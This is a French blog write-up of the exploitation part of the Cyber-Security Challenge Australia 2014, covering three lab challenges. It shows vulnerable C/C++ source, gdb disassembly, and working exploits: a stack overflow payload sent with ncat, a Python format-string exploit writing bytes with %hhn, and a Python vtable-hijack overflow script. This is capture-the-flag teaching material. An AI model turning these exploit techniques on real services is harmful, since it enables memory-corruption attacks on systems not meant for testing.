Nicolas SURRIBAS

Sécurité Informatique / Capture The Flag / Développement / Réseaux / PenTest

Solution du Cyber-Security Challenge Australia 2014 (Exploitation)

Rédigé par devloop - -

Alors que le Cyber Security Challenge Australia va rouvrir ses portes fin septembre 2015 pour les universités du pays, voici le writeup de la partie exploitation du CySCA 2014 qui clôture ainsi ma série d'articles sur ce challenge.
Le temps que les organisateurs convertissent le CySCA 2015 en machine virtuelle je devrais avoir un peu de temps pour souffler ;-)

The Fonz (120 points)

Perform a review of the supplied source code for Quick Code Ltd. to identify any vulnerabilities. A server has been set up for you to exploit the identified vulnerabilities for the customer at 192.168.1.64:20000
On dispose d'une partie du code source : la fonction en charge de la connexion cliente.

void handle_client( int client_socket )
{
    unsigned int FixedVariable = 0xFFFFFFFF;
    unsigned char DestBuffer[16] = {0};
    char secretKey[256];
    unsigned char socketBuffer[SOCKET_BUFFER_SIZE] = {0};
    size_t secretLength = 0;
    int retVal = 0;

    socket_printf( client_socket, "FixedVariable @ %#x. DestBuffer @ %#x\n", &FixedVariable, DestBuffer );

    socket_printf( client_socket, "Please enter text to write to buffer: " );
    retVal = read( client_socket, socketBuffer, SOCKET_BUFFER_SIZE );

    if( retVal <= 0 )
    {
        socket_printf( client_socket, "Error reading input %d.\n", retVal );
        return;
    }

    g_client_socket = client_socket;
    signal( SIGALRM, sigHandler );
    alarm(10);

    strncpy( DestBuffer, socketBuffer, MAX_WRITE_SIZE );
    
    socket_printf( client_socket, "Entered text: %s\n", DestBuffer );
    socket_printf( client_socket, "FixedVariable value: 0x%08X\n", FixedVariable );
    if( FixedVariable == 0x73696854 )
    {
        secretLength = load_flag( secretKey, sizeof(secretKey) );
        socket_printf( client_socket, "Congratulations! Secret key is: %s\n", secretKey );
    }
    else
    {
        socket_printf( client_socket, "Please set FixedVariable to 0x73696854\n" );
    }
    close( client_socket );
}
L'objectif pour obtenir le flag désiré est de parvenir à changer la valeur de FixedVariable.
A chaque connexion les adresses de FixedVariable et DestBuffer nous sont données :
$ ncat 192.168.1.64 20000 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:20000.
FixedVariable @ 0xbfb370a4. DestBuffer @ 0xbfb37094
Please enter text to write to buffer: abcd
Entered text: abcd

FixedVariable value: 0x00000000
Please set FixedVariable to 0x73696854
Ncat: 5 bytes sent, 181 bytes received in 3.08 seconds.
Le principe d'exploitation est simple : DestBuffer a une taille de 16 octets mais lors de son écrasement par strncpy la taille maximale est définie à MAX_WRITE_SIZE que l'on ne connait pas mais dont on se doute qu'il est suffisamment large pour écraser les autres variables présentes sur la stack frame.

L'output précédent nous indique qu'il y a 16 octets entre DestBuffer et FixedVariable, les deux variables sont donc côte à côte.
Quand à la valeur attendue (73696854) il s'agit juste du mot "This" en hexadécimal et inversé.

L'exploitation est triviale :
$ echo -en "AAAABBBBCCCCDDDDThis" |  ncat 192.168.1.64 20000 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:20000.
FixedVariable @ 0xbfb370a4. DestBuffer @ 0xbfb37094
Please enter text to write to buffer: Entered text: AAAABBBBCCCCDDDDThis
FixedVariable value: 0x73696854
Congratulations! Secret key is: CombatBrownieSwell366
Ncat: 20 bytes sent, 211 bytes received in 0.01 seconds.

Matt Matt Matt Matt (200 points)

Perform a review of the supplied source code for Quick Code Ltd. to identify any vulnerabilities. A server has been set up for you to exploit the identified vulnerabilities for the customer 192.168.1.64:20001
La partie du code divulguée est la suivante :

#define RESP_PREFIX "Nice to meet you "
#define RANDOM_RANGE 0xFFFFF
void handle_client(int client_socket)
{
    char* memBuf;
    int* pWinning;
    unsigned char socketBuffer[SOCKET_BUFFER_SIZE] = {0};
    char secretKey[256];
    size_t secretLength = 0;
    unsigned char destBuffer[MAX_LEN] = {0};
    int retVal = 0;

    g_client_socket = client_socket;

    memBuf = malloc(RANDOM_RANGE);
    if (memBuf == NULL)
    {
        socket_printf( client_socket, "ERROR: Unable to allocate memory.\n");
        return;
    }

    pWinning = memBuf + (GetRandomNumber() % (RANDOM_RANGE-4));
    *pWinning = 0x12345678;
    memBuf = NULL;

    while (1)
    {
        socket_printf( client_socket, "Hello, what is your name?\n" );
        retVal = read( client_socket, socketBuffer, SOCKET_BUFFER_SIZE );
        if( retVal <= 0 )
        {
            socket_printf( client_socket, "Error reading input %d.\n", retVal );
            return;
        }

        signal( SIGALRM, sigHandler );
        alarm(30);

        strcpy( destBuffer, RESP_PREFIX);
        snprintf( destBuffer+sizeof(RESP_PREFIX)-1, MAX_LEN-sizeof(RESP_PREFIX), socketBuffer );
        socket_printf( client_socket, "%s\n", destBuffer );

        if( *pWinning == 0x31337BEF )
        {
            secretLength = load_flag( secretKey, sizeof(secretKey) );
            socket_printf( client_socket, "Today is your lucky day! Your key is: %s\n", secretKey );
            return;
        }
        else
        {
            socket_printf( client_socket, "Sorry, today is not your lucky day.\n");
        }

    }
    close( client_socket );
}
La variable pWinning est un pointeur sur entier dont la valeur est initialisée à 0x12345678.
L'adresse où est écrit cette valeur est plus ou moins aléatoire (sur une plage mémoire de 0xFFFFF octets commençant à l'adresse de memBuf).

On note que le code est vulnérable à une faille de chaine de format via la fonction snprintf :
$ ncat 192.168.1.64 20001 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:20001.
Hello, what is your name?
abcd
Nice to meet you abcd

Sorry, today is not your lucky day.
Hello, what is your name?
%8X.%8X
Nice to meet you        0.       0
Je n'entrerai pas dans les détails de ce type d'exploitation que j'ai déjà traité dans mon article sur le sujet.

On retrouve facilement la position de retVal sur la stack :
Hello, what is your name?
%8X%8X%8X%8X%8X%8X
Nice to meet you        0       0       0       0       0      13
Ici retVal vaut 0x13 (donc 19) soit la longueur de la chaîne passée (%8X%8X%8X%8X%8X%8X) avec le retour à la ligne.

En utilisant l'indicateur de position d'argument on retrouve plus loin sur la pile (en 8ème position) notre variable pWinning.
J'utilise le format %s pour obtenir la valeur pointée, seule façon pour déterminer si on a affaire à la bonne variable.
$ ncat 192.168.1.64 20001 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:20001.
Hello, what is your name?
%8$s
Nice to meet you xV4
xV4 correspond aux code hexa 785634 donc une partie de l'entier que l'on cherchait. Le reste (12) n'est pas affiché par le terminal mais avec hexdump on peut vérifier qu'il est bien présent :
$ echo '%8$s' | ncat 192.168.1.64 20001 -v | hexdump -C
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:20001.
00000000  48 65 6c 6c 6f 2c 20 77  68 61 74 20 69 73 20 79  |Hello, what is y|
00000010  6f 75 72 20 6e 61 6d 65  3f 0a 4e 69 63 65 20 74  |our name?.Nice t|
00000020  6f 20 6d 65 65 74 20 79  6f 75 20 78 56 34 12 0a  |o meet you xV4..|
00000030  0a 53 6f 72 72 79 2c 20  74 6f 64 61 79 20 69 73  |.Sorry, today is|
00000040  20 6e 6f 74 20 79 6f 75  72 20 6c 75 63 6b 79 20  | not your lucky |
00000050  64 61 79 2e 0a 48 65 6c  6c 6f 2c 20 77 68 61 74  |day..Hello, what|
Ok donc quelle est l'adresse de pWinning ?
Hello, what is your name?
%8$.8X
Nice to meet you B74F00DF
Cette adresse change à chaque connexion comme vu dans le code mais reste fixe si on reste connecté.
Notre objectif est donc de récupérer l'adresse (comme fait à l'instant) puis d'utiliser une format string qui écrira les octets EF 7B 33 31.

Etant donné que snprintf reçoit un argument qui limite la taille de la chaîne générée j'ai choisit d'utiliser le format %hhn pour éviter les mauvaises surprises.
A noter que, même si j'ai fait l'exploitation en une seule passe, la boucle while permet si on le souhaite d'écraser chaque octet l'un après l'autre.

Le principe du format %hhn (et de %n en général) est que l'on place sur la pile l'adresse où l'on veut écrire et que la quantité de données écrites sera placée à cette adresse. Il faut d'abord déterminer où sera présente l'adresse que l'on place sur la pile. Pour cela je place AAAA et j'essaye d'obtenir 41414141 avec le format %.8X :
Hello, what is your name?
AAAA%13$.8X
Nice to meet you AAAA41414120

Sorry, today is not your lucky day.
Hello, what is your name?
AAAAB%13$.8X
Nice to meet you AAAAB41414120

Sorry, today is not your lucky day.
Hello, what is your name?
AAAABB%13$.8X
Nice to meet you AAAABB41414120
On est gênés par ce qui doit être l'espace en fin de "Nice to meet you ".
Du coup on cherche en position 14 et on continue de jouer sur le padding. Je passe à BBBB :
Sorry, today is not your lucky day.
Hello, what is your name?
AAAABBBB%14$.8X
Nice to meet you AAAABBBB42424241

Sorry, today is not your lucky day.
Hello, what is your name?
AAABBBB%14$.8X
Nice to meet you AAABBBB42424242
Bingo ! 14ème position et 3 octets de padding. Ici le padding est fixe car la chaîne que l'on insère ne se retrouve pas dans argv.

Comme on écrit en une seule fois, le comptage des caractères n'est pas remis à zéro à chaque %hhn. On va donc écrire dans l'ordre les valeurs 0x31 (49), 0x33 (51), 0x7B (123) et 0xEF (239).

La chaine d'exploitation aura cette aspect :
PPPAAAABBBBCCCCDDDD%30X%14$hhnZZ%15$hhn%72X%16$hhn%116X%17$hhn

Soit 3 octets de padding, 4 fois 4 octets pour les 4 adresses à écrire (les 4 octets pris par l'entier de pWinning).
A ce stade on a 19 octets, il en manque 30 pour la première valeur (49) d'où le %30X.

Pour aller de 49 à 51 il faut 2 caractères. On les place directement (ZZ).
Ensuite il faut 72 caractères pour atteindre la valeur 123 (%72X).
Et enfin 116 caractères pour atteindre 239.

Attention avec le formatage. Il ne faut pas oublier que s'il est possible de définir une précision et mettre du padding pour l'affichage il est en revanche impossible de mettre une longueur maximale d'affichage.

Par exemple le code C suivant :
printf("precision 8: %.8X\n", 0x0cde);
printf("precision 3: %.3X\n", 0x0cde);
printf("precision 1: %.1X\n", 0x0cde);
printf("precision 5: %.5X\n", 0xd3c0de);
printf("precision 3: %.3X\n", 0xd3c0de);
donne cet output :
precision 8: 00000CDE
precision 3: CDE
precision 1: CDE
precision 5: D3C0DE
precision 3: D3C0DE

printf refuse de tronquer la valeur affichée. Donc attention si vous avez de petites valeurs (inférieures à 8), il est préférable de mettre les caractères tel quel.

Certains utilisent %c au lieu de %X pour afficher des caractères mais là attention aux octets nuls :
sprintf(buffer, "%9c", 0x41);
len = strlen(buffer);
printf("len = %u\n", len);

sprintf(buffer, "%9c", 0x0);
len = strlen(buffer);
printf("len = %u\n", len);
Ce qui donne :
len = 9
len = 8
A éviter, à mois d'être sûr de ce qu'il y a sur la pile.

Voici mon code d'exploitation :
import socket
import struct

magic = "PPPAAAABBBBCCCCDDDD%.30X%14$.8XZZ%15$.8X%.72X%16$.8X%.116X%17$.8X"

sock = socket.socket()
sock.connect(('192.168.1.64', 20001))
sock.recv(1024)  # Hello...

# Get address for pWinning
sock.send("%8$.08X")
buff = sock.recv(1024)
if not buff.startswith("Nice to meet you "):
    print "Received strange response"
    sock.close()
    exit()
address = buff[17:].strip()
# convert hex address to uint_32
address = struct.unpack(">I", address.decode("hex_codec"))[0]
print "pWinning is at", hex(address)

buff = sock.recv(1024)  # Sorry + Hello...

# Sending our unarmed payload
sock.send(magic)
buff = sock.recv(1024)  # Nice to meet you...
if "41414141" not in buff:
    print "Bad alignment! :("
    sock.close()
    exit()
buff = sock.recv(1024)  # Sorry...

# So far so good, now let's overwrite pWinning content
magic = magic.replace("AAAA", struct.pack("I", address+3))
magic = magic.replace("BBBB", struct.pack("I", address+2))
magic = magic.replace("CCCC", struct.pack("I", address+1))
magic = magic.replace("DDDD", struct.pack("I", address))
magic = magic.replace(".8X", "hhn")

print "Sending", repr(magic)
sock.send(magic)
sock.recv(1024)  # Nice to meet...

buff = sock.recv(1024)
print buff

sock.close()

Comme d'habitude je pars sur la chaîne préparée avec des %.8X pour déboguer que je remplace ensuite par %hhn pour l'exploitation.
$ python fmt.py 
pWinning is at 0xb753d8ad
Sending 'PPP\xb0\xd8S\xb7\xaf\xd8S\xb7\xae\xd8S\xb7\xad\xd8S\xb7%.30X%14$hhnZZ%15$hhn%.72X%16$hhn%.116X%17$hhn'
Today is your lucky day! Your key is: FairlyIdealLiver576

A Bit One Sided (280 points)

Perform a review of the supplied source code for Quick Code Ltd. to identify any vulnerabilities. A server has been set up for you to exploit the identified vulnerabilities for the customer at 192.168.1.64:21320
Cette fois on dispose d'un boût de C++ :
int g_client_socket;

void win(void)
{
    char secret_key[256] = {0x0};

    load_flag(secret_key,sizeof(secret_key));
    socket_printf( g_client_socket, "Success. Your flag is %s\n",secret_key);
}

void handle_client(int client_socket)
{
    char reqData[128] = {0x0};
    CReqObj* reqObj = 0;
    short reqLen = 0;
    bool retValue;
    int recvLen;

    g_client_socket = client_socket;

    signal(SIGALRM, sig_alrm_handler );
    alarm(10);

    recvLen = recv(client_socket,&reqLen,sizeof(reqLen),0);

    if (recvLen == -1 )
        goto cleanup_exit;

    socket_printf(client_socket, "Got request size: %d\n", &recvLen);

    if (reqLen < 0 || reqLen > sizeof(reqData))
    {
        socket_printf(client_socket,"Supplied request length is invalid.\n");
        goto cleanup_exit;
    }

    reqObj = new CReqObj();

    recvLen = recv(client_socket,reqData,reqLen-1,0);
    if (recvLen == -1)
        goto cleanup_exit;

    reqObj->SetRequestData(reqData);
    
    retValue = reqObj->ProcessRequest(); 

    socket_printf(client_socket,"Better luck next time.\n");

cleanup_exit:
    if (reqObj)
        delete reqObj;

    close(client_socket);

    exit(0);
}
L'objectif est donc d'appeler la fonction win() mais celle-ci n'est utilisée nul part dans la code !

On remarque que lors du premier socket_printf dans handle_client l'adresse de la variable recvLen est leakée puisque sa référence est passée au lieu de la variable.
Voici une erreur qui a vraisemblablement été mise là pour nous aider, pas vraiment une erreur donc :)

Le serveur commence par lire deux octets (un short) qui correspondent à la taille de ce qu'il va lire par la suite.
Cette taille stockée dans reqLen est vérifiée pour s'assurer qu'elle n'est pas négative. Pas de bug à ce niveau.
On pourrait penser qu'il y a un off-by-one car une comparaison est faite sur sizeof(reqData) pour savoir si reqLen est strictement supérieure.
Mais si on regarde plus bas (sur l'appel à recv()) on voit que reqLen-1 octets sont lus donc là encore pas de faille.

Justement Jean-Marc ! J'ai agi à la légère et vous n'avez pas mérité ma confiance.
Euh... non. Justement ! Que se passe t-il si on spécifie une taille de 0 octets alors qu'aucune vérification n'est faite à ce niveau ?

Et bien reqLen sera agrandit en taille pour convenir au type attendu par recv, c'est à dire un size_t, et comme en plus c'est un unsigned la soustraction de 1 le transformera en une valeur énorme, j'ai nommé UINT_MAX.

Du coup lors de la réception des données via recv() on peut écrire tout ce que l'on souhaite pour écraser les variables et l'adresse de retour... sauf que à la fin de handle_client on a un beau exit() donc dans le *** l'adresse de retour !

A l'instar des deux précédents exercices on dispose, en plus de l'extrait de code, du binaire à exploiter (même si jusqu'ici je m'en suis passé).

On l'ouvre avec gdb et on active l'option asm-demangle pour obtenir les noms des méthodes C++ sous un format lisible (set print asm-demangle on).

Voici une partie du code assembleur de handle_client qui commence à la création de l'objet CReqObj :
0x0804920e <+205>:   movl   $0x8,(%esp)
0x08049215 <+212>:   call   0x80489e0 <operator new(unsigned int)@plt>
0x0804921a <+217>:   mov    %eax,%ebx
0x0804921c <+219>:   mov    %ebx,(%esp)
0x0804921f <+222>:   call   0x8049334 <CReqObj::CReqObj()>
0x08049224 <+227>:   mov    %ebx,-0x1c(%ebp)
0x08049227 <+230>:   movzwl -0x20(%ebp),%eax
0x0804922b <+234>:   cwtl   
0x0804922c <+235>:   sub    $0x1,%eax
0x0804922f <+238>:   movl   $0x0,0xc(%esp)
0x08049237 <+246>:   mov    %eax,0x8(%esp)
0x0804923b <+250>:   lea    -0xa4(%ebp),%eax
0x08049241 <+256>:   mov    %eax,0x4(%esp)
0x08049245 <+260>:   mov    0x8(%ebp),%eax
0x08049248 <+263>:   mov    %eax,(%esp)
0x0804924b <+266>:   call   0x80488c0 <recv@plt>
0x08049250 <+271>:   mov    %eax,-0x24(%ebp)
0x08049253 <+274>:   mov    -0x24(%ebp),%eax
0x08049256 <+277>:   cmp    $0xffffffff,%eax
0x08049259 <+280>:   je     0x80492a1 <handle_client(int)+352>
0x0804925b <+282>:   mov    -0x1c(%ebp),%eax  ; reqObj
0x0804925e <+285>:   mov    (%eax),%eax       ; vtable
0x08049260 <+287>:   add    $0x4,%eax         ; vtable[1]
0x08049263 <+290>:   mov    (%eax),%edx       ; edx = setRequestData
0x08049265 <+292>:   lea    -0xa4(%ebp),%eax
0x0804926b <+298>:   mov    %eax,0x4(%esp)
0x0804926f <+302>:   mov    -0x1c(%ebp),%eax
0x08049272 <+305>:   mov    %eax,(%esp)
0x08049275 <+308>:   call   *%edx
0x08049277 <+310>:   mov    -0x1c(%ebp),%eax
0x0804927a <+313>:   mov    (%eax),%eax
0x0804927c <+315>:   mov    (%eax),%edx
0x0804927e <+317>:   mov    -0x1c(%ebp),%eax
0x08049281 <+320>:   mov    %eax,(%esp)
0x08049284 <+323>:   call   *%edx
La première ligne passe une taille de 8 à l'opérateur new. Ce sera la taille en octets d'un objet CReqObj.
Le pointeur retourné (la zone mémoire) est ensuite passée au constructeur de CReqObj. L'adresse de l'objet initialisé est ensuite conservée en ebp-0x1c (ebp-28).

Au passage juste en dessous on voit une variable sortie de ebp-0x20 (ebp-32). Il s'agit de recvLen qui est converti avec l'instruction cwtl avant qu'on lui retire 1 comme expliqué plus tôt.

Faisons un tour par le constructeur de la classe CReqObj :
0x08049334 <+0>:     push   %ebp
0x08049335 <+1>:     mov    %esp,%ebp
0x08049337 <+3>:     mov    0x8(%ebp),%eax
0x0804933a <+6>:     movl   $0x8049828,(%eax)
0x08049340 <+12>:    mov    0x8(%ebp),%eax
0x08049343 <+15>:    movl   $0x0,0x4(%eax)
0x0804934a <+22>:    pop    %ebp
0x0804934b <+23>:    ret
Ce code récupère l'adresse de l'objet sur la pile puis place la valeur 0x8049828 dans les 4 premiers octets de l'objet. Il s'agit de l'adresse de la vtable qui peut être vue comme un tableau des méthodes de la classe.
Le principe des vtables est expliqué sur Wikipedia :
When an object is created, a pointer to this vtable, called the virtual table pointer, vpointer or VPTR, is added as a hidden member of this object. The compiler also generates "hidden" code in the constructor of each class to initialize the vpointers of its objects to the address of the corresponding vtable.

La seconde partie de l'objet (les 4 derniers octets) est initialisée à 0.

Retournons dans handle_client. Après l'appel à recv, au niveau des lignes que j'ai commenté, l'objet est récupéré depuis la pile.
L'adresse de la vtable en est extraite (les 4 premiers) et placée dans eax. Ce registre est ensuite incrémenté de 4.
Finalement, l'adresse présente à vtable[1] est placée dans edx et edx est appelé. On en déduit d'après le code C++ que vtable[1] correspond à la fonction setRequestData.

On trouve le même principe plus bas mais avec vtable[0] qui correspond donc à ProcessRequest dont voici le code assembleur :
0x8049376 <CReqObj::ProcessRequest()>:       push   %ebp
0x8049377 <CReqObj::ProcessRequest()+1>:     mov    %esp,%ebp
0x8049379 <CReqObj::ProcessRequest()+3>:     sub    $0x18,%esp
0x804937c <CReqObj::ProcessRequest()+6>:     mov    0x8(%ebp),%eax
0x804937f <CReqObj::ProcessRequest()+9>:     mov    0x4(%eax),%eax
0x8049382 <CReqObj::ProcessRequest()+12>:    movl   $0x80497fe,0x4(%esp)
0x804938a <CReqObj::ProcessRequest()+20>:    mov    %eax,(%esp)
0x804938d <CReqObj::ProcessRequest()+23>:    call   0x8048a80 <strcmp@plt>
0x8049392 <CReqObj::ProcessRequest()+28>:    test   %eax,%eax
0x8049394 <CReqObj::ProcessRequest()+30>:    jne    0x804939d <CReqObj::ProcessRequest()+39>
0x8049396 <CReqObj::ProcessRequest()+32>:    mov    $0x1,%eax
0x804939b <CReqObj::ProcessRequest()+37>:    jmp    0x80493a2 <CReqObj::ProcessRequest()+44>
0x804939d <CReqObj::ProcessRequest()+39>:    mov    $0x0,%eax
0x80493a2 <CReqObj::ProcessRequest()+44>:    leave  
0x80493a3 <CReqObj::ProcessRequest()+45>:    ret
Cette méthode récupère la valeur que l'on avait vu initialisée à zéro dans le constructeur (valeur unique portée par l'objet puisque l'autre partie est l'adresse de la vtable) et la passe à strcmp avec l'adresse 0x80497fe dont voici le contenu :
(gdb) x/s 0x80497fe
0x80497fe:      "TODO: Complete implementation"
L'objet permet donc de porter un char* qu'on peut vraisemblablement définir via SetRequestData.
En fonction du résultat de strcmp, la méthode retourne 0 ou 1... pas de faille de ce côté.

Jetons un œil à SetRequestData :
0x80493a4 <CReqObj::SetRequestData(char*)>:          push   %ebp
0x80493a5 <CReqObj::SetRequestData(char*)+1>:        mov    %esp,%ebp
0x80493a7 <CReqObj::SetRequestData(char*)+3>:        sub    $0x18,%esp      ; réserve 24 octets
0x80493aa <CReqObj::SetRequestData(char*)+6>:        mov    0x8(%ebp),%eax
0x80493ad <CReqObj::SetRequestData(char*)+9>:        mov    0x4(%eax),%eax  ; regarde si une chaine est portée
0x80493b0 <CReqObj::SetRequestData(char*)+12>:       test   %eax,%eax
0x80493b2 <CReqObj::SetRequestData(char*)+14>:       je     0x80493cc <CReqObj::SetRequestData(char*)+40>
0x80493b4 <CReqObj::SetRequestData(char*)+16>:       mov    0x8(%ebp),%eax  ; si une chaine est déjà portée
0x80493b7 <CReqObj::SetRequestData(char*)+19>:       mov    0x4(%eax),%eax
0x80493ba <CReqObj::SetRequestData(char*)+22>:       mov    %eax,(%esp)
0x80493bd <CReqObj::SetRequestData(char*)+25>:       call   0x8048910 <free@plt> ; libère la chaine actuelle
0x80493c2 <CReqObj::SetRequestData(char*)+30>:       mov    0x8(%ebp),%eax
0x80493c5 <CReqObj::SetRequestData(char*)+33>:       movl   $0x0,0x4(%eax)  ; met le pointeur à zéro
0x80493cc <CReqObj::SetRequestData(char*)+40>:       mov    0xc(%ebp),%eax  ; saute ici si pas encore de chaine
0x80493cf <CReqObj::SetRequestData(char*)+43>:       mov    %eax,(%esp)     ; second argument: nouvelle chaine
0x80493d2 <CReqObj::SetRequestData(char*)+46>:       call   0x8048a60 <strdup@plt>
0x80493d7 <CReqObj::SetRequestData(char*)+51>:       mov    %eax,%edx
0x80493d9 <CReqObj::SetRequestData(char*)+53>:       mov    0x8(%ebp),%eax
0x80493dc <CReqObj::SetRequestData(char*)+56>:       mov    %edx,0x4(%eax)  ; fixe le nouveau pointeur
0x80493df <CReqObj::SetRequestData(char*)+59>:       leave  
0x80493e0 <CReqObj::SetRequestData(char*)+60>:       ret

Si une chaîne est déjà définie alors elle est libérée via free().
Ensuite la nouvelle chaine reçue en argument est dupliquée via strdup() et l'ancienne adresse écrasée par la nouvelle.
Bref pas non plus de faille de ce côté.

L'affichage de la vtable depuis gdb donne les infos suivantes (on retrouve les adresses des deux méthodes) :
0x8049820 <vtable for CReqObj>: 0x00000000      0x08049830      0x08049376      0x080493a4
0x8049830 <typeinfo for CReqObj>:       0x0804ace8      0x08049838      0x65524337      0x6a624f71

La méthode destructeur de l'objet réalise un free() de la chaîne comme on pouvait s'y attendre :
0x0804934c <+0>:     push   %ebp
0x0804934d <+1>:     mov    %esp,%ebp
0x0804934f <+3>:     sub    $0x18,%esp
0x08049352 <+6>:     mov    0x8(%ebp),%eax
0x08049355 <+9>:     movl   $0x8049828,(%eax)
0x0804935b <+15>:    mov    0x8(%ebp),%eax
0x0804935e <+18>:    mov    0x4(%eax),%eax
0x08049361 <+21>:    test   %eax,%eax
0x08049363 <+23>:    je     0x8049373 <CReqObj::~CReqObj()+39>
0x08049365 <+25>:    mov    0x8(%ebp),%eax
0x08049368 <+28>:    mov    0x4(%eax),%eax
0x0804936b <+31>:    mov    %eax,(%esp)
0x0804936e <+34>:    call   0x8048910 <free@plt>
0x08049373 <+39>:    leave  
0x08049374 <+40>:    ret

On profite aussi pour relever l'adresse de win() depuis gdb : 0x080490e1.

On ne peut pas écraser les adresses des fonctions présentes dans la vtable en revanche on peut écraser l'adresse de l'objet CReqObj dont le pointeur est dans la stack.

Le principe de l'exploitation est expliqué dans Phrack #56 par Rix.

On va envoyer au serveur un buffer qui commencera par une fausse structure d'un objet CReqObj (avec une fausse vtable et un faux char*).
Suivra ensuite une fausse vtable que l'on aura remplie avec l'adresse de win.
La fin de notre buffer servira à écraser l'adresse de l'instance de CReqObj (reqObj) pour la faire pointer au début du buffer.
De cette façon après le recv() on se retrouvera avec edx = adresse de win().

Mais d'abord comment est organisée la stack ? Voici le début de handle_client :
0x08049141 <+0>:     push   %ebp
0x08049142 <+1>:     mov    %esp,%ebp
0x08049144 <+3>:     push   %edi
0x08049145 <+4>:     push   %esi
0x08049146 <+5>:     push   %ebx
0x08049147 <+6>:     sub    $0xac,%esp
Il y a 172 octets réservés. Après rapprochement du code assembleur et du code C on a la répartition suivante :
socket   => ebp-8
reqObj   => ebp-28
retValue => ebp-29
reqLen   => ebp-32
recvLen  => ebp-36 *
reqData  => ebp-164

On va envoyer un payload suffisamment grand pour écraser les variables jusqu'à reqObj en prenant soin de ne pas toucher à la socket qui va nous envoyer le flag :p

Puisque l'adresse de recvLen est leakée par le programme il suffit seulement de faire quelques soustractions pour déterminer l'adresse de notre buffer et le structurer comme il faut.
import socket
import re
import struct

sock = socket.socket()
print "Connecting..."
sock.connect(('192.168.1.64', 21320))
sock.send("\x00\x00")
buff = sock.recv(64)  # Got request size...

address = int(re.search(r"\d+", buff).group(0))
if "-" in buff:
    address = 2**32 - address
print "Address of recvLen is", hex(address)

win = 0x080490e1
reqData = address - 128
vtable = reqData + 8

payload =  struct.pack("I", vtable)
payload += struct.pack("I", 0)
payload += struct.pack("I", win)
payload += struct.pack("I", win)
payload += struct.pack("I", win)
payload += struct.pack("I", win)
for i in range(28):
    payload += struct.pack("I", 0xdeadbeef)
payload += struct.pack("I", reqData)
payload += struct.pack("I", reqData)
print "Sending payload..."

sock.send(payload)
buff = sock.recv(1024)
print buff
sock.close()
Et voilà le travail :
Connecting...
Address of recvLen is 0xbfbde5d4
Sending payload...
Success. Your flag is TokenMountedLeaky858

Les étudiants du CySCA 2014 ont eu la chance de plancher sur une épreuve supplémentaire baptisée "Corporate Network Pentest" dont la solution officielle est ici.

Classé dans : Non classé - Mots clés : aucun

Les commentaires sont fermés.